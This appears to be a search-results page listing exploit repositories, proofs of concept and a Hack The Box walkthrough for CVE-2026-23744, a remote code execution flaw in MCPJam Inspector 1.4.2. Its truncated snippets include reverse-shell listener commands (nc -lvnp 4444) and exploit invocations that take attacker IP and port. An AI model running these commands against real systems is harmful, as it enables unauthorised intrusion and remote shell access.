26 matches found
MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744
on kali linux - terminal 1 nc -lvnp 4444 on kali linux - terminal 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...
CVE-2026-23744
CVE-2026-23744 python3 CVE-2026-23744.py -u http://devhub.htb:6274 -i 10.10.14.106 -p 4321...
DevHub-HTB-Walkthrough
DevHub – HTB 워크스루 Medium Linux 머신: DevHub 난이도: Medium OS: Linux 주제: CVE-2026-23744, Chisel Tunneling, Jupyter, Flask API, Root 권한 상승 📌 1. 정찰 root@kitploit: nmap -sC -sV devhub.htb 결과: Port 22 SSH Port 80 HTTP Port 6274 MCPJam Inspector 📌 2. Hosts 파일 수정 echo "10.x.x.x devhub.htb" /etc/hosts 📌 3...
mcpExec
mcpExec is a tool that takes advantage of the CVE-2026-23744 to gather a reverse shell using the URL of the vulnerable MCPJam Inspector installation. Installation root@kitploit: git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip...
MCPJam Inspector - Remote Code Execution
MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. id:...
CVE-2026-23744
root@kitploit: usage: exploit.py -h --lhost LHOST --lport LPORT --rhost RHOST CVE-2026-23744 - PoC options: -h, --help show this help message and exit --lhost, -l LHOST Attacker IP address --lport, -p LPORT Attacker port --rhost, -t RHOST Target URL...
CVE-2026-23744-exploit
This repository does not have a README...
CVE-2026-23744
This repository does not have a README...
CVE-2026-23744
This repository does not have a README...
CVE-2026-23744-PoC
Este repositorio nao tem um README...
mcpjaminspector-unauth-rce
mcpjaminspector-unauth-rce CVE-2026-23744 RCE in MCPJam inspector = 1.4.2 Details zur Schwachstelle https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6 Verwendung root@kitploit: usage: mcpjaminspector-unauth-rce.py -h --target TARGET --command COMMAND options: -h, --help...
CVE-2026-23744
CVE-2026-23744 script em python para explorar a CVE-2026-23744 como usar : primeiro, você deve abrir dois terminais primeiro terminal -- nc -nvlp 4444 segundo terminal -- python CVE-2026-23744.py -lhost seu ip -url url alvo para o menu de ajuda : python CVE-2026-23744.py -h...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
CVE-2026-23744: Unauthenticated Remote Code Execution PoC...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
MCPJam Inspector Authorized Security Validator A bounded proo...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
cve-2026...
📄 MCPJam Inspector 1.4.2 Command Injection
This is an advanced Python proof of concept for CVE-2026-23744 demonstrating command injection through a vulnerable MCP API endpoint, leading to remote code execution and reverse shell access. The script supports multiple payload types, endpoint discovery, listener management, and several...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
CVE-2026-23744 --- Description MCPJam inspector is a loca...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
on kali linux - terminal 1...